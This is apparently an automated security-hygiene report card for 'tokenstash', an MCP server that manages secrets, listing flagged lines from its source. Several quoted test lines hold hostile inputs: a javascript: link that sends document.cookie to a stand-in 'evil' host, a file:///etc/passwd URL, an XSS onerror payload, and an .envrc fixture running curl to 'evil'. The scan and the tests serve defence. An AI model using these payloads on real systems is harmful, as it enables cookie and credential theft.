MCP, MCP server
tokenstash
tokenstash
Compatibility: Not stated.
Grade C
One Medium finding. Read the findings before installing.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 58628fe71a80, unchanged since the check below.
NETWORK_HOST_FROM_INPUT
Why this grade
- NETWORK_HOST_FROM_INPUT Medium
A file takes a URL or endpoint as input and has no fixed host list.
crates/cli/src/cmd/inbox.rs, line 1297
for bad in ["javascript:fetch('//evil/'+document.cookie)", "data:text/html,<script>x</script>", "file:///etc/passwd", "JavaScript:alert(1)"] {
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
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Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Pass
No shell or command execution found, and no extra permission was declared.
Install and update
Pass
No install-time script found, and dependencies are pinned or absent.
Network
Serious
accepts a host from input, with no fixed list in this file.
NETWORK_HOST_FROM_INPUT
crates/cli/src/cmd/inbox.rs, line 1297
for bad in ["javascript:fetch('//evil/'+document.cookie)", "data:text/html,<script>x</script>", "file:///etc/passwd", "JavaScript:alert(1)"] {
crates/cli/src/cmd/run.rs, line 55
// argv[0] only: arguments may carry secrets (curl -H "Authorization: ...") and `why`
crates/core/src/envcrawl.rs, line 252
mk("rc/.envrc", "export DATABASE_URL=postgres://u:p@localhost/db\nexport EVIL_TOKEN=$(curl http://evil)\nsource ~/.secrets\n");
Show more
scripts/leak-test.sh, line 29
# so every curl body lands in $WEB. $OUT is the agent/CLI-facing surface, and the session
scripts/leak-test.sh, line 81
for _ in $(seq 1 30); do curl -fs "http://127.0.0.1:$PORT/verify?c=ready" >/dev/null 2>&1 && break; sleep 0.1; done
scripts/leak-test.sh, line 199
code=$(curl -s -o "$WEB/exploit.txt" -w '%{http_code}' -X POST --data 'value=sk-EVIL-INJECTED&skip_check=1' "http://127.0.0.1:$PORT/t/$ETID")
scripts/leak-test.sh, line 203
code=$(curl -s -o "$WEB/unauth-index.html" -w '%{http_code}' "http://127.0.0.1:$PORT/")
scripts/leak-test.sh, line 205
code=$(curl -s -o /dev/null -w '%{http_code}' -X POST --data "action=allow" "http://127.0.0.1:$PORT/t/$ETID?t=$TOKEN")
scripts/leak-test.sh, line 217
GOT="$(curl -fsS "http://127.0.0.1:$PORT/verify?c=$NONCE")"
scripts/leak-test.sh, line 228
[ "$GOT" != "$(curl -fsS "http://127.0.0.1:$PORT/verify?c=${NONCE}x")" ] || { echo "FAIL: /verify is not bound to the challenge"; exit 1; }
scripts/leak-test.sh, line 230
code=$(curl -s -o "$WEB/verify-noc.txt" -w '%{http_code}' "http://127.0.0.1:$PORT/verify")
scripts/leak-test.sh, line 238
curl -fsS -c "$JAR" -b "$JAR" -L -o "$WEB/task.html" "http://127.0.0.1:$PORT/t/$ETID?t=$TOKEN"
scripts/leak-test.sh, line 265
code=$(curl -s -b "$JAR" -o "$WEB/big.txt" -w '%{http_code}' \
scripts/leak-test.sh, line 280
"$TS" need JS_LINK_KEY --agent ci --why "link test" --url "javascript:fetch('//evil/'+document.cookie)" >"$OUT/need-jslink.txt" 2>&1 || true
scripts/leak-test.sh, line 287
curl -fsS -c "$JAR" -b "$JAR" -L -o "$WEB/answered.html" \
scripts/leak-test.sh, line 304
curl -fsS -c "$PJAR" -b "$PJAR" -L -o "$WEB/paste-task.html" "$PLINK"
scripts/verify-registry.py, line 200
seen[url] = fetch(url)
scripts/verify-registry.py, line 224
r = fetch(url, method=method, headers=headers, body=body, follow=False)
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_DOTENV
crates/cli/src/remote.rs, line 81
.env_clear().env("PATH", TAILSCALE_ENV_PATH).envs(std::env::var_os("HOME").map(|h| ("HOME", h)))
crates/cli/src/cmd/bundle.rs, line 285
/// Directory tree to scan for .env / .env.local / .env.{stage} / .envrc files.
crates/cli/src/cmd/inbox.rs, line 1298
let page = page_task(&card(Some(bad), "why"), None, None, "tok", &inbox_auth::Scope::Full, ".env.local", false);
Show more
crates/cli/src/cmd/inbox.rs, line 1304
let page = page_task(&card(Some("https://platform.openai.com/api-keys"), "why"), None, None, "tok", &inbox_auth::Scope::Full, ".env.local", false);
crates/cli/src/cmd/inbox.rs, line 1312
let page = page_task(&card(None, "<img src=x onerror=alert(1)>\"'"), None, None, "tok", &inbox_auth::Scope::Full, ".env.local", false);
crates/cli/src/cmd/inbox.rs, line 1354
let page = page_task(&card(None, "why"), None, None, "tok", &inbox_auth::Scope::Task("t_abc123".into()), ".env.local", false);
crates/cli/src/cmd/inbox.rs, line 1356
assert!(page.contains("written to <code>.env.local</code>"), "{page}");
crates/cli/src/cmd/inbox.rs, line 1360
assert!(page_task(&replace, None, None, "tok", &inbox_auth::Scope::Full, ".env.local", false).contains("every other directory you granted this key"));
npm/tokenstash/bin/tokenstash.js, line 9
let bin = process.env.TOKENSTASH_BINARY;
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Note
a file was over the read cap and was not fully read.
OBFUSCATION_FILE_OVER_READ_CAP
crates/core/src/tests.rs, line 1
#![cfg(test)]
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 58628fe71a80. accepts a host from input, with no fixed list in this file. reads a credential or environment file. a file was over the read cap and was not fully read.
Date and source
Date checked:
github.com
Commit graded: 58628fe71a80869f70ab6e327dd7104f24382506
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